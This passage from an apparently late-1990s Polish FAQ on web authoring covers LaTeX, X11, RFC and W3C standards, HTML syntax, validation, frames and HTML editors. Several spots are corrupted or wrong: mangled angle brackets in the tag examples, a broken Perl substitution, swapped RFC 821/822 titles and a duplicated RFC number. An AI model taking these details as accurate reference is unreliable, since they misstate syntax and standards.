Publishers itd. W 1992 roku powstała Polska Grupa Użytkowników Systemu TEX (GUST). Obecnie należy do niej około 200 osób, w większości pracowników polskich wyższych uczelni. Co roku organizowana jest Ogólnopolska Konferencja Użytkowników TEX-a w Bachotku koło Brodnicy. LaTeX jest zestawem makr i stylów TeXa pozwalającym na zestrukturalizowane, ,,wysokopoziomowe'' pisanie pewnych przygotowanych klas dokumentów. LaTeX2e jest nową implementacją pakietu LaTeX L.Lamporta. Został stworzony przez znanych TeX-pertów pp. Michel Goossens'a, Franka Mittelbacha oraz Alexandra Samarin'a. Pakiet ma budowę warstwową; główny wysiłek autorów został skierowany na zdefiniowanie zbioru poleceń ułatwiających tworzenie własnych zbiorów makroinstrukcji. W tej ,,technicznej'' warstwie został napisany pakiet nowego LaTeXa. TeX User Group GUST --- polska Grupa Użytkowników Systemu TeX Tobias Oetiker ``The Not So Short Inroduction to LaTeX2e. Or LaTeX2e in 71 minutes'' (wersja polska) TeX FAQ X Window System X --- jest przenośnym, przezroczystym dla sieci systemem graficznym działającym na wielu platformach sprzętowo-programowych. X Consortium (grupa dawniej zarządzająca rozwojem X) żądała by stosunku do tego oprogramowania używać następujących określeń: X X Window System X Version 11 X Window System, Version 11 X11 nie zaś np. XWindows Podstawową różnicą w stosunku do innych systemów GUI jest owa przeźroczystość dla sieci, pozwalająca na lokalnym X Display Server pracować na aplikacjach (X klientach) uruchamianych na zdalnym komputerze. Przy czym sam serwer X11 nie zapewnia nic poza obszarem do wyświetlania, wywołaniami systemowymi oraz (częściowo) metodami autentyfikacji (tak sesji użytkownika na zdalnych maszynach, jak i sesji klienckich na lokalnym terminalu). Za wygląd środowiska pracy, sterowanie zdarzeniami odpowiada specyficzna klasa klientów zwana zarządcami okien (window manager). Innym elementem składającym się na działanie X są klasy tzw. widgetów czyli bibliotek tworzących typowe elementy wyświetlane przez wm . Jednym z bardziej znanych zestawów window manager i klasy widgetów jest Motif wytwarzany przez wielu producentów --- jest też darmowa implementacja o nazwie Lesstif W oparciu o Motifa stworzono środowisko pracy CDE. Innymi znanymi window managerami są: NeXTStep, fvwm czy modne ostatnio środowiska (a więc nie tylko wm ale i inne elementy) K Desktop Environment. i Gnome grupa pl.comp.sys.xwindow Codematic i Przemek Borys pl.comp.sys.Xwindow FAQ man X przegląd window managerów @PLIG Tomasz Barbaszewski X [w:] Linux+ 5/97 X.org XFree86 --- projekt darmowych Xów dla platformy sprzętowej opartej o procesory Intel x86. dostępne w tej chwili są implementacje na większość 32 bitowych systemów tej platformy z wyjątkiem MS Win32. NetManage --- jeden z dostawców X Serwerów dla MS Win32 Jest uproszczoną wersją usługi słownikowej X.500 pozwalającej lokalizować osoby, obiekty w sieci rozproszonej. Rozwijane na Uniwersytecie Michigan --- UMICH RFC 1777 DS W. Yeong, T. Howes, S. Kille, Lightweight Directory Access Protocol 03/28/1995. (stron=22) (Unieważnia RFC1487) LDAP @ Netscape Communication LDAP FAQ @ Stanford Internet nie posiada scentralizowanej struktury Jednak posiada dość dobrze udokumentowaną stronę techniczną. Paradoks? Oczywiście. Jak cała sieć. Odpowiednie informacje na temat zasad tworzenia standardów, ciał nad nimi (standardami) debatujących itd. można znaleźć w dokumentach wymienionych w części pierwszej tego rozdziału. W kolejnych paragrafach wymieniam te standardy i specyfikacje które wydają mi się ważne dla rozwoju pajęczyny, pomijając istotne kwestie np. szyfrowania (które są istotne i zamierzam opisać je w przyszłości), czy też protokoły trasowania (routingu), zmiany adresów MAC na IP (które są istotne, ale stanowią raczej wdzięczny temat dla nieistniejącego FAQ grupy pl.comp.networking) Przez standard rozumiem uznane przez ,,czynniki oficjalne'', dostępne publicznie specyfikacje. Nie może być standardem nie upublicznione w formie opisu technicznego rozwiązanie konkretnego producenta. Podobnie nie są standardami standardy de-facto --- czyli rozwiązania na tyle powszechne, że ,,wszyscy z nich korzystają'', jednak nie znormalizowane i szczegółowo opisane. RFC 2400 S J. Postel, J. Reynolds. "INTERNET OFFICIAL PROTOCOL STANDARDS" September 1998 RFC 2151 I G. Kessler, S. Shepard, "A Primer On Internet and TCP/IP Tools and Utilities" 06/10/1997. (Liczba stron --- 52) (FYI 30) (unieważnia RFC1739) RFC 1983 I G. Malkin, Internet Users' Glossary 08/16/1996. (Liczba stron --- 62) (FYI 18) (Unieważnia RFC1392) RFC 1935 I J. Quarterman, S. Carl-Mitchell, What is the Internet, Anyway? 04/10/1996. (Liczba stron --- 11) RFC 1855 I S. Hambridge Netiquette Guidelines 10/20/1995. (Liczba stron --- 21) (FYI 28) RFC 2028 BC R. Hovey, S. Bradner, The Organizations Involved in the IETF Standards Process 10/29/1996. (Liczba stron --- 7) RFC 2027 BC J. Galvin, IAB and IESG Selection, Confirmation, and Recall Process: Operation of the Nominating and Recall Committees 10/29/1996. (Liczba stron --- 11) RFC 2026 BC S. Bradner, The Internet Standards Process --- Revision 3 10/29/1996. (Liczba stron --- 36) (Uaktualnia RFC1602) (Unieważnia RFC1602) RFC 1796 BC Huitema, C., J. Postel, and S. Crocker Not All RFCs are Standards 10/04/1995. XML Dave Raggett, Arnaud Le Hors, Ian Jacobs HTML 4.0 Specification W3C Recommendation 18-Dec-1997 HTML 3.2 Reference Specification W3C Recommendation 14-Jan-1997 Dave Raggett dsr@w3.org RFC 1866 PS T. Berners-Lee, D. Connolly, Hypertext Markup Language - 2.0 11/03/1995. (Liczba stron --- 77) RFC 1867 E E. Nebel, L. Masinter, Form-based File Upload in HTML 11/07/1995. (Liczba stron --- 13) RFC 1942 E D. Raggett HTML Tables 05/15/1996. (Liczba stron --- 30) RFC 1980 I J. Seidman A Proposed Extension to HTML: Client-Side Image Maps 08/14/1996. (Liczba stron --- 7) CSS1 W3C Recommendation CSS2 W3C Recommendation Positioning HTML Elements with Cascading Style Sheets NOTE-XSL Proposal to W3C (1997-08-27) XSL Requirements Document (1998-05-11) Associating stylesheets with XML Documents DSSSL Specification Proposal for a Technical Corrigendum to the DSSSL standard. RFC 1738 PS T. Berners-Lee, L. Masinter, M. McCahill Uniform Resource Locators (URL) 12/20/1994. (Liczba stron --- 25) RFC 1808 PS R. Fielding, Relative Uniform Resource Locators 06/14/1995. (Liczba stron --- 16) RFC 1700 S J. Reynolds, J. Postel ASSIGNED NUMBERS 10/20/1994. (Liczba stron --- 230) (Unieważnia RFC1340) (STD 2) RFC 1630 I T. Berners-Lee, Universal Resource Identifiers in WWW: A Unifying Syntax for the Expression of Names and Addresses of Objects on the Network as used in the World-Wide Web 06/09/1994. (Liczba stron --- 28) RFC 2017 PS N. Freed, K. Moore, A. Cargille, Definition of the URL MIME External-Body Access-Type 10/14/1996. (Liczba stron --- 5) RFC 2141 PS R. Moats URN Syntax 05/05/1997. (Liczba stron --- 8) RFC 2056 PS R. Denenberg, J. Kunze, D. Lynch, Uniform Resource Locators for Z39.50 11/05/1996. (Liczba stron --- 7) RFC 2068 PS R. Fielding, J. Gettys, J. Mogul, H. Frystyk, T. Berners-Lee, Hypertext Transfer Protocol --- HTTP/1.1 01/03/1997. (Liczba stron --- 162) RFC 1945 I T. Berners-Lee, R. Fielding, H. Nielsen, Hypertext Transfer Protocol --- HTTP/1.0 05/17/1996. (Liczba stron --- 60) RFC 2109 PS D. Kristol, L. Montulli, HTTP State Management Mechanism 02/18/1997 (Liczba stron=21) RFC 1436 I F. Anklesaria, M. McCahill, P. Lindner, D. Johnson, D. John, D. Torrey, B. Alberti, The Internet Gopher Protocol (a distributed document search and retrieval protocol) 03/18/1993. (Liczba stron --- 16) RFC 1729 I C. Lynch, Using the Z39.50 Information Retrieval Protocol in the Internet Environment , 12/16/1994. (Liczba stron: 8) RFC 2077 PS S. Nelson, C. Parks, Mitra, The Model Primary Content Type for Multipurpose Internet Mail Extensions 01/10/1997. (Liczba stron --- 13) RFC 2045 DS N. Freed, N. Borenstein Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies 12/02/1996. (Liczba stron --- 31) (Unieważnia RFC1521) RFC 2046 DS N. Freed, N. Borenstein, Multipurpose Internet Mail Extensions (MIME) Part Two: Media Types 12/02/1996. (Liczba stron --- 44) (Unieważnia RFC1521) RFC 2047 DS K. Moore, MIME (Multipurpose Internet Mail Extensions) Part Three: Message Header Extensions for Non-ASCII Text 12/02/1996. (Liczba stron --- 15) (Unieważnia RFC1522) RFC 2048 BC N. Freed, J. Klensin, J. Postel Multipurpose Internet Mail Extensions (MIME) Part Four: Registration Procedures 01/28/1997. (Liczba stron --- 21) (Unieważnia RFC1590) RFC 2049 DS N. Freed, N. Borenstein, Multipurpose Internet Mail Extensions (MIME) Part Five: Conformance Criteria and Examples 12/02/1996. (Liczba stron --- 24) (Unieważnia RFC1521) RFC 2110 PS J. Palme, A. Hopman, MIME E-mail Encapsulation of Aggregate Documents, such as HTML (MHTML) 03/12/1997. (Stron=19) RFC 2112 PS E. Levinson, The MIME Multipart/Related Content-type 03/12/1997. (Stron=9) (Anuluje RFC1872) VRML 1.0 - Specyfikacja VRML 2.0 - Specyfikacja (vag.vrml.org) James Gosling, Bill Joy, Guy Stele The Java Language Specification (ISBN 0-201063451-1) Tim Lindholm, Frank Yellin, The Java Virtual Machine Specification (ISBN 0-20163452-X) D.R.T.Robinson draft-robinson-www-interface-01.html The WWW Common Gateway Interface Version 1.1 (15.02.1996) RFC 821 S D. Crocker, Standard for the format of ARPA Internet text messages 08/13/1982. (Liczba stron: 47) (Unieważnia RFC0733) (STD 11) (UpDated by RFC1327, RFC0987) RFC 822 S J. Postel, Simple Mail Transfer Protocol 08/01/1982. (Liczba stron: 58) (Unieważnia RFC0788) (STD 10) RFC 1123 S R. Braden Requirements for Internet hosts - application and support 10/01/1989. (Liczba stron: 98) (STD 3) RFC 1036 M. Horton, R. Adams, Standard for interchange of USENET messages 12/01/1987. (Liczba stron: 19) (Unieważnia RFC0850) RFC 2076 I J. Palme Common Internet Message Headers 02/00/1997. (stron 26) RFC 2142 PS D. Crocker MAILBOX NAMES FOR COMMON SERVICES, ROLES AND FUNCTIONS 05/06/1997 (Liczba stron --- 6) GIF - GRAPHICS INTERCHANGE FORMAT(sm) Version 89a JPEG Specification RFC 2083 I T. Boutell, PNG (Portable Network Graphics) Specification Version 1.0 01/16/1997. (Liczba stron --- 102) ISO 639:1988 Language Codes ISO 3166:1993 Country Codes RFC 1766 PS H. Alvestrand, Tags for the Identification of Languages 03/02/1995. (Liczba stron: 9) RFC 2070 PS F. Yergeau, G. Nicol, G. Adams, M. Duerst, Internationalization of the Hypertext Markup Language 01/06/1997. (Liczba stron --- 43) RFC 1815 I M. Ohta Character Sets ISO-10646 and ISO-10646-J-1 08/01/1995. (Liczba stron --- 6) RFC 2151 I D. Goldsmith, M. Davis A Mail-Safe Transformation Format of Unicode 06/03/1997. (Liczba stron --- 12) (Unieważnia RFC1642) The Unicode Standard Ver. 2.0 The Unicode Consortium Addison Wesley DevelopersPress (ISBN 0-201-48395-9) The Official Documents Defining the Web Iana Grahama Computers and Communication Entry Page --- Standards (and Cross References) IETF Working Groups _ HTML jest aplikacją SGMLa Składnia dokumentu HTML jest definiowana przez kombinację deklaracji SGML (definiującej m.in. zakres dopuszczalnych znaków) oraz DTD. Wyrażenia znakujące (elementy) składają się z częściej otwierającej i zamykającej. W pierwszej części jest to sekwencja < znacznik< a kończy: < /znacznik< (< to znak mniejszości zaś < to znak większości i są to HTML (i w większości języków opartych na SGMLu) znaki zastrzeżone do znakowania). Po właściwym poleceniu mogą następować jego atrybuty (wraz z wartościami) < znacznik atrybut=wartość opcja< Nie są istotne typowe elementy sterujące: spacje, tabulatory, znaki końca linii (ogólnie znaki o kodzie ASCII poniżej 32 -- są one ,,zbijane'' w jeden). W niektórych przypadkach nie jest wymagane zamknięcie polecenia znakującego.(np. P, LI) choć czasem może się to nieciekawie skończyć (zwłaszcza nie-kończenie poleceń ,,wymieniających'' takich jak UL, OL). Część przydatnych na co dzień znaków używanych przez polecenia znakujące została zastąpiona przez tzw. entitles rozpoczynających się od znaczka & (Ampersand): < - &amp;lt; - znak mniejszości < - &amp;gt; - znak większości " - &amp;quot; - znak cala (stosowany powszechnie jako cudzysłów) "  " - &amp;nbsp; - znak krótkiej spacji & - &amp; oraz znaki z zakresu powyżej 127 w tablicy ISO-8859-2 (Latin-1) W parametrach atrybutów mogą (bez ujęcia w " lub ') występować jedynie znaki z zakresu a-Z, poza tym kropki, znak przeniesienia (dywiz). (występują przy tym problemy związane z literką ą w atrybutach (nawet ujętą w cudzysłowy np. <IMG SRC="foo" ALT="ąąą">). Istotna jest kolejność zagnieżdżeń znaczników. Według specyfikacji HTML 4.01 najkrótszy dokument wygląda w tak: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <title>Tytuł dokumentu</title> choć zwykle stosuje się bardziej rozbudowaną postać: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-type" content="text/html; charset=ISO-8859-2"> <!-- komentarz: to polski dodatek, niezbyt elegancki --> <title>Tytul dokumentu</title> </head> <body> zawartosc dokumentu </body> </html> <HTML> oznaczenie początku dokumentu HTML <HEAD> sekcja nagłówkowa (definicje dotyczące całego dokumentu, miejsce na wsadzenie informacji o stosowanych stylach, relacjach między dokumentami itp.). <BODY> sekcja główna dokumentu (cała reszta ;-) <title> tytuł dokumentu <A> (od ANCHOR) wymaga co najmniej jednego z dwóch atrybutów: HREF="URL" lub name="punkt" oraz zakończenia (to co znajduje się pomiędzy początkiem a końcem wyrażenia stanowi obszar aktywny połączenia (czyli trzeba kliknąć myszką na tekście z wyrażenia aby uruchomić odnośnik i przenieść się do innego dokumentu). <LINK> pozwala na zdefiniowanie zależności między dokumentami. <META> wnosi dodatkowe informacje na temat dokumentu. <STRONG> wyróżnienie <EM> wyróżnienie <H1> nagłówek 1 stopnia Standardy: HTML 4.0. Standardy: HTML 3.0. Standardy: HTML 2.0. (oficjalny IETF) opis Wilbura czyli HTML 3.2 autorstwa Gallacusa (wersja off-line) WWW FAQ Thomasa Boutella Kurs HTML Pawła Wimmera z Wydawnictwa Lupus Introduction to HTML [w:] Peter Flynn, "The WorldWideWeb Handbook" International Thomson Computer Press, 1995, ISBN 1-85032-205-8 Panorama HTML z Projektu Winter WWWhowto - Jak zrobić swoja stronę WWW? Tomasza Piłata (jest tam też działający on-line validating parser HTML Wilbur SWAT Trzy, Cztery ! URL, HTML Wojtka Bogusza autora (lub administratora) m.in. Instalacja i konfiguracja serwera WWW i Polskiej Strony Domowej) Jak stworzyć własną stronę WWW (Grzegorza Wójcika) HTML wg Paweł Hikiert BOK Jak zrobić własną stronę WWW (wskazówki dla użytkowników z PK) (Szymona Sokoła i Grzegorza Muchy) Yuriko Ienaga i Jan Peszko HTML Design Guide Opis poleceń języka HTML z przykładami Roberta Pająka Jak zrobić swoja własną HomePage ? Andrzeja Borta Opis HTML autorstwa ,,Statoma'' czyli Tomasza Stankiewicza The Bare Bones Guide to HTML krótki (15kB) spis wszystkich komend HTML wraz z netscapizmami (zaznaczonymi) --- dość stary. Beginner's Guide to HTML z NCSA (autorstwa Marka Andreessena) Creating HTML Documents (też NCSA) Introduction to HTML Iana Grahama (włącznie z rozbiorem HTML 2.0 DTD) Włodzimierz Macewicz HTML. Język opisu dokumentu hipertekstowego Zakład Nauczania Informatyki ,,MiKOM'' (ISBN 83-7158-035-5) (dość dobra ściąga do pisania HTML ,,z palca'' jednak brakuje w niej informacji o SGML, nie do końca jest też sens opisywać co jaka przeglądarka akceptuje --- choć kiedyś podobało mi się to) HTML Charter --- poświęcona HTMLowi grupa robocza IETF gdy tworzysz większy zestaw dokumentów warto najpierw stworzyć projekt (w tym graficzny), szablon dokumentu. Nie od rzeczy jest tutaj użycie technologii CSS1 (w celu zapewnienia spójnej szaty graficznej serwisu --- a to że jeszcze nie obsługują jej niektóre przeglądarki --- nie szkodzi --- niedługo będą wszystkie). staraj się tworzyć dokumenty ,,znaczeniowe'' a ,,wyglądowe'' pamiętaj o tym by w dokumencie (niekoniecznie w jego jawnej części) znalazła się informacja o: adresie pocztowym autora dacie aktualizacji, miejscu planowanej publikacji --- choć nie koniecznie trzeba do tego celu używać konstrukcji < BASE HREF="http://moj.domek.pl/"< prawach autorskich (zwłaszcza nie swoich) Style guide for on-line hypetext @ WDG - htmlhelp Złote zasady dla projektantów serwisów @ Winter Style Guide for on-line hypertext @ W3C --- Tim BL Warto dostosować swoje dokumenty do istnienia przeszukiwarek i innych robotów przez zdefiniowanie dodatkowej informacji o dokumencie: krótki opis < META name="Description" CONTENT="To jest krótki opis "< słowa kluczowe < META name="Keywords" CONTENT="WWW, FAQ "< informacja o prawach autorskich < META name="CopyRight" CONTENT="Ziemek Borowski (GNU v.2.0) "< informacja o autorze < META name="Author" CONTENT="Ziemek Borowski "< informacja o adresie pocztowym autora < LINK REV="MADE" HREF="mailto:ziembor@foo-bar.com.pl"< data powstania dokumentów < META name="Create" CONTENT="Sat 15 Mar 1997 19:26:58 "< data ostatniej modyfikacji dokumentu < META name="Modification" CONTENT="Sat 15 Mar 1997 19:26:58 "< Wykorzystanie HTML-owych pól < META> w Infoseek META etykieta: AltaVista i zarządzanie indeksowaniem strony w Webie Opis META w HTML 3.2 @ htmlhelp.com Resource Description Framework Netscapizmami zwie się popularnie te rozszerzenia akceptowane tylko i wyłącznie przez przeglądarki firmy Netscape Communication Corporation, i ostatnio przez MS Internet Explorer, nie zarejestrowane w oficjalnej specyfikacji (bądź jej propozycji) języka HTML. Nie należy ich używać ponieważ: nie ma możliwości sensownego sprawdzenia parserem --- validatorem SGML takiego dokumentu (zazwyczaj brak jest oficjalnych DTD (i nawet nieoficjalnych, np. dla IE 3.0, lub NN 3.0) dla takich rozszerzeń --- choć to się powoli zmienia). dokumenty te nie zawsze mogą być poprawnie wyświetlane w przeglądarkach innych producentów. A HTML będący (zwłaszcza w wersjach 2.0 i Wilbur) bardzo ubogim jeśli chodzi o możliwe ,,fajerwerki'' zastosowaniem SGMLa, został stworzony po to, by istniała wspólna, niezależna od sprzętu i systemu platforma informacyjna. niektóre rozszerzenia nie mieszczą się w żaden sposób w składni istniejących DTD HTML-owych ;-) np. te związane z ramkami... (FRAMES). Są to dialekty (slangi) HTMLa cechujące się z jednej strony rozmaitymi rozszerzeniami (extentions) a z drugiej ignorowaniem proponowanych przez innych (np. ciała standaryzacyjne, konkurencję) nowych możliwości np. proponowanych w szkicach dotyczących obsługi równań matematycznych w HTML 3.0 tabel w RFC 1942 Problem z tymi swoistymi rozszerzeniami polega na tym, że przez tworzenie nie przemyślanych faktów blokują one rozwój języka (trudno zachować spójność logiczną struktury dokumentu jeśli w każdym jego miejscu może wystąpić jakieś polecenie (w tym wypadku chodzi o nikomu w tej formie nie potrzebny znacznik CENTER). Best Viewed With Any Browser Multi Browser Compability Pawła Więcka Netscape HTML Extensions Microsoft Corporation Site Developer Network HTML Bad Style Page Top 10 Things NOT to do on a Web Page Netscape @ Hall of Shame WebAlert Dlaczego należy kontrolować poprawność kodu? To chyba oczywiste: każdy chce żeby rzeczywisty efekt pokrywał się z planowanym, tak teraz jak i w przyszłości, gdy przeglądarki będą np. ściślej trzymać się standardu. Powszechnie stosowaną metodą jest ,,ręczne'' sprawdzanie za pomocą wybranej dowolnie ,,przeglądarki testowej'' takiej jak np. Lynx, Netscape, lub MS IE. Jest to działanie co najmniej wątpliwe: przeglądarka powinna wyświetlać wszystkie (nawet z błędami składniowymi) strony poprawnie, choć niekoniecznie zgodnie z intencjami jej autorów. Właściwą formą sprawdzania strony jest raczej użycie parsera --- validatora SGML takiego jak na przykład SP Jamesa Clarka (dostępny tak dla DOS (32-ext.), Win32, jak i UNIXa wraz z odpowiednim DTD dla stosowanego dialektu HTMLa W wyniku kontroli np. nsgmls -m /usr/lib/pubtext/catalog -f nazwa.err -o nazwa.out nazwa.htm powstaje lista błędów (przez skierowanie potoku błędów do pliku) na podstawie, której należy ,,ręcznie'' poprawić dokument. Dopiero potem warto sprawdzić w przeglądarce, czy przypadkiem czegoś istotnego nie przeoczyliśmy... Dobrą metodą jest użycie jednego z wielu zdalnych weryfikatorów kodu HTMLa (patrz niżej), lub jednego z dostępnych weryfikatorów ,,lokalnych'': SP Clarka ftp://ftp.jclark.com/pub/sp/win32/ z jedną z dostępnych dla Win32 nakładek weblint (PERL) Odradzałbym stanowczo używanie rozmaitych wynalazków przyjaznych, ale nie do końca wiedzących co to są na przykład opcje minimalizacji. Tomasz (Poncki) Piłat SWAT --- bardzo dobre narzędzie dla tych którzy tworzą w HTML 3.2 (a wkrótce i dla wszystkich --- bo wielkimi krokami zbliża się premiera SWATa jako parsera SGMLowego w wersji 2.0.). HTML-Validation HOWTO Validations Services (WDG) A Kinder, Gentler Validator --- oparty na nsgmls J. Clarka --- klasyka gatunku, a obecnie dostępny i pod adresem http://validator.w3.org/ From: qrczak@knm;org,pl (Marcin 'Qrczak' Kowalczyk') From: GSTANIAK@golem,UMCS.Lublin;pl Nie wszystkie przeglądarki zobaczą ramki. Nie jest to wina tych przeglądarek --- ramki dopiero niedawno zostały formalnie ujęte w standard, przy czym jest to specjalna wersja HTMLa 4.0 z oddzielnym DTD. Niektóre przeglądarki (np. Lynx) mogą wyświetlić tylko listę ramek, bez podziału ekranu na prostokąty. Układu stron z ramkami odbiorca z reguły nie może sobie sensownie (tj. z właściwymi tytułami) zabookmarkować - bo nie można go określić URLem. Może zabookmarkować najwyżej wyjściowy układ ramek. Nie bardzo jest jak drukować strony z ramkami. W praktyce zwykle można albo wydrukować pojedynczą ramkę albo próbować oddać układ ramek na papierze (ale co zrobić, jeśli tekst się nie mieści na stronie?). To samo dotyczy wszelkich innych sposobów prezentacji strony niż wyświetlenie na ekranie, np. synteza głosem. Strony z ramkami gorzej wykorzystują powierzchnię ekranu - część ekranu zamiast użytecznym tekstem jest stale zajęta nawigacją. Wiele osób woli nie rozpraszać się na dodatkowych elementach, tylko czytać właściwe informacje na całym ekranie. A już zbrodnią jest robienie ramek, których rozmiaru nie można zmienić ani nie można ich przewinąć --- spotykałem już takie strony, w których część tekstu w ramce była przez to w ogóle niedostępna. Oglądając strony z ramkami gorzej się korzysta z klawiatury --- ponieważ każda ramka przewija się niezależnie, trzeba jakoś uaktywniać właściwą ramkę. Trudniej robić strony niezależne od rozdzielczości --- ponieważ mamy mniej miejsca, częściej się zdarzy, że u kogoś, kto ma mniejszą rozdzielczość lub większe fonty, coś się nie zmieści, źle się podzieli na linie itp. Sprzyjają przyjmowaniu (niekoniecznie mających jakikolwiek sens) założeń na temat wielkości okna przeglądarki oglądającego. Jeśli ramki już zostaną jakoś zindeksowane albo jeśli odsyłacz do konkretnej ramkowej podstrony znajdzie się w jakimś innym serwisie, to przeglądający z reguły jest pozostawiony bez nawigacji (nie może przejść do jakiejkolwiek innej strony serwisu), bo zwykle cała nawigacja była w innej ramce. Ramki komplikują strukturę serwisu, zwiększają liczbę plików. Trzeba pamiętać o TARGET="_top" przy wyjściach do innych serwisów. Bardzo denerwuje, jeśli wychodzę do innego serwisu, który pojawia się w którejś ramce - znowu nie można go zabookmarkować, a jeśli on ma kolejne ramki, to wszystkie wady ramek się potęgują. Jeśli już musisz używać ramek... poczytaj proszę: WDG Introduction to Frames (Gallacusa) Frames --- Netscape HELPSite i spróbuj (zwłaszcza jeśli nie ma wersji bezramkowej) spojrzeć na swoje strony lynxem < = 2.6. (jest też dostępny w wersji Win32) Ramki jak poniżej uważam za źle zrobione. Ich nazwy powinny być opisowe. FRAME: a FRAME: b FRAME: c Tutaj z kolei daje się już pracować. FRAME: menu_nawigacyjne FRAME: strona_tytylowa Cennik firmy Foo.BAR.COM.pl. * cos * inne cos * jeszcze inne cos głównie dzięki atrybutowi name=nazwa_ramki < !DOCTYPE HTML PUBLIC '-//w3c//DTD HTML 4.0 Frameset//EN'> < HTML> < title> ramki < /title> < frameset> < FRAME src=nawigacyjne.html name=menu_nawigacyjne> < FRAME src=tytulowa.html name=strona_tytylowa> < /frameset> < noframes> < body> < Cennik firmy Foo.BAR.COM.pl. > < UL> < LI> cos < LI> inne cos < LI> jeszcze inne cos < UL> < /body> < /noframes> < html> Nie. I bardzo dobrze. Po prostu kod źródłowy dokumentu w HTML musi być zakodowany bez żadnych ograniczeń, aby można było czytać dokumenty nie do końca sprowadzone na lokalny komputer. Stosowanie wszelkich zaciemniaczy kodu, przedziwnego jego formatowania itp. też na niewiele się zda... spam -c /usr/share/sgml/html/catalog -e -mshorttag -p dokument.html i ew. do tego prosty program perlowy np.: #!/usr/bin/perl open(F,"$ARGV[0]") || die "nie moge znalezc pliku wejsciowego \n" ; while(< F>) {$aa.=$_;} close(F); $aa =%E7 s/\n>/>\n/g; $aa =%E7 s/(.+?)< /$1\n< /g; print $aa; przekonwertują kod do czytelnej postaci. Zaś kilka godzin pracy powinno wystarczyć na napisanie opartego na analizie ESIS HTMLowego formatera kodu... Z istniejących narzędzi wymienić można (działające na innych zasadach) polecenie M-x fill w XEmacsie Format HTML (FHTML.PL) Gdy mowa o narzędziach służących do kreowania dokumentów w HTMLu często trudno dojść do porozumienia. Część ludzi twierdzi, że najlepszym narzędziem jest... Windowsowy Notatnik. Inni głoszą, że ma za małe możliwości wyszukiwania i zamiany więc zalecają Vi;-) Są to zwolennicy edytorów poziomu ,,ręcznego'' nie posiadających żadnej formy wspomagania edycji. Są tacy, którzy chcieli by jednak mieć jakąś formę wspomagania tworzenia dokumentów przez podświetlenie składni i możliwość wybrania z listy dobranych znaczników. Ci są zwolennikami ,,edytorów niskiego poziomu''. Są jednak też zwolennicy edytorów graficznych tzw. WYSIWYG czyli ,,wysokiego poziomu''. Lecz bardzo często zapomina się o innego typu narzędziach np. konwerterach z innych formatów (w tym SGMLowych) rozmaitych preprocesorach (zwykle pisanych ,,wieloplatformowo'' w C lub perlu) ułatwiających tworzenie dużych ośrodków. W sytuacji gdy dzieło staje się większe niż 30 stron potrzebne są narzędzia pozwalające na zapanowanie nad całością. WML --- WebSite Meta Language --- naprawdę potężne narzędzie bazujące na dostępnych w Uniksach preprocesorach i językach skryptowych (np. cpp, perl, m4) Orb HTMLpp WPP - The Web Preprocessor GTML Gdy mowa o narzędziach pomagających tworzyć dokumenty hipertekstowe w środowisku MS Windows (TM) zawsze mam ochotę stwierdzić, że można użyć Emacsa w trybie psgml lub html-helper lub ViM 5.1. (działają też w środowisku DOS/Win/Win32). Ale nie tego się po mnie oczekuje. Niestety ;-). To co osobiście mogę zalecić to: SQ HoTMetaL PRO 4.0 ew. jeśli mamy mniej pieniędzy: SQ HoTMetaL Free 1.0 (potem wyszły już tylko wygasające wersje ewaluacyjne, więc ich niestety nie mogę rekomendować jako alternatywy dla wersji komercyjnej). Macromedia Dreamweaver jedyny używany przeze mnie (w wersji ewaluacyjnej) edytor graficzny nie generujący nadmiarowego kodu, posiadający w dodatku dobre wsparcie dla CSS (choć ma wadę w postaci wysokiej ceny). do pewnego typu prac (wymagających wspomagania tworzenia zespołowego i zarządzania zawartości) i ze sporymi zastrzeżeniami (natury, mhyyy, składniowej) MS FrontPage TextPad jako dobry, i ,,czysty'' a jednocześnie dostosowywany edytor tekstowy. Super NoteTab HotDog PRO 3.0 HomeSiteX 2.5 lub freeware wersja 1.0. Oddzielną kategorią są ,,polskie'' edytory HTML (czyli bądź napisane przez Polaków bądź z polskojęzycznym interface). Przyznaję się, że ściągam z listy Pawła Wimmera ;-). aczkolwiek z wielką niechęcią... Pajączek 2000 Rafała Płatka Hedit (Windows 95) Witolda Ciżmowskiego i Sławomira Andryka Tiger Odradzam natomiast (zwłaszcza do ,,szybkich poprawek'') dobrą przeglądarkę, ale gorszy edytor: Netscape Navigatora Gold (zostawia za dużo własnego, niepoprawnego, kodu przy każdym zapamiętaniu). The Ultimate Collection Of Winsock Software --- bliżej są ,,lusterka'': Tucows na SunSite The CWSApps List --- Indeks Aplikacji Sieciowych dla Windows (mirror w Poznaniu) Papa's Anonymous FTP ftp://ftp.man.poznan.pl/pub/winsock-l/ (w Poznaniu) www.Windows95.com shareware and freeware Wbrew temu co niektórzy mówią dla Uniksie jest mnóstwo cennych narzędzi do edycji HTML (i generalnie SGMLa). spreparowane pod kątem HTML pliki konfiguracyjne Vi lub ViMa (zwłaszcza w wersji 5.0.) joe Emacs w trybie psgml lub hm-html=helper-mode XEmacs (używający trybów Emacsa ale przyjaźniejszy w obsłudze) HTMLowi dedykowany asWedit edytor Amaya (W3C) WebLint (do kontroli poprawności kodu) Latex2HTML SGML-Tools /usr/bin/texi2html będący częścią popularnej dystrybucji TeXa --- teTeX. info2www Roar Smith < lmdrsm@lmd.ericsson.se< sdc Tools for WWW providers @ W3C HTML Accessories @ Tucows (m.in. konwertery DBF -< HTML) HTML Filters From: W.Myszka@immt.pwr.wroc.pl System LaTeX jest popularnym (zwłaszcza na uczelniach technicznych) systemem przygotowywania tekstów. Mają one bardzo profesjonalny wygląd i niejednokrotnie używane są do publikacji artykułów, raportów i tekstów technicznych. Tekst przygotowany ,,w LaTeXu'' może być bardzo łatwo (i stosunkowo ładnie) przetłumaczony. Użyć do tego celu można programu LaTeX2html. Program wymaga zainstalowanego Perla i interpretuje zarówno dialekt LaTeX2.09 jak i LaTeX2e. Dokumentem w całości przetłumaczonym do HTML z LaTeXa za pomocą tego programu są Narzędzia sieciowe Nieco mniej eleganckie wyniki daje program TeX2RTF (wbrew nazwie pozwala on tłumaczyć dokumenty w LaTeXu do jednej z następujących postaci: RTF, HTML, Windows Help). LaTeX2html --- CTAN TeX2RTF --- CTAN Powszechnie do tego celu używa się ramek (tworzonych raczej dla prezentacji wielopanelowych). Właściwszym rozwiązaniem jest użycie jakiegoś preprocesora (HTML nie nadaje się z różnych przyczyn do bycia samodzielnym formatem 